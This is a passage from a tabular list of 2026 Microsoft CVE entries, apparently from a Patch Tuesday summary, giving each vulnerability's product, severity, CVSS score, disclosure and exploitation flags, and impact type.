CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
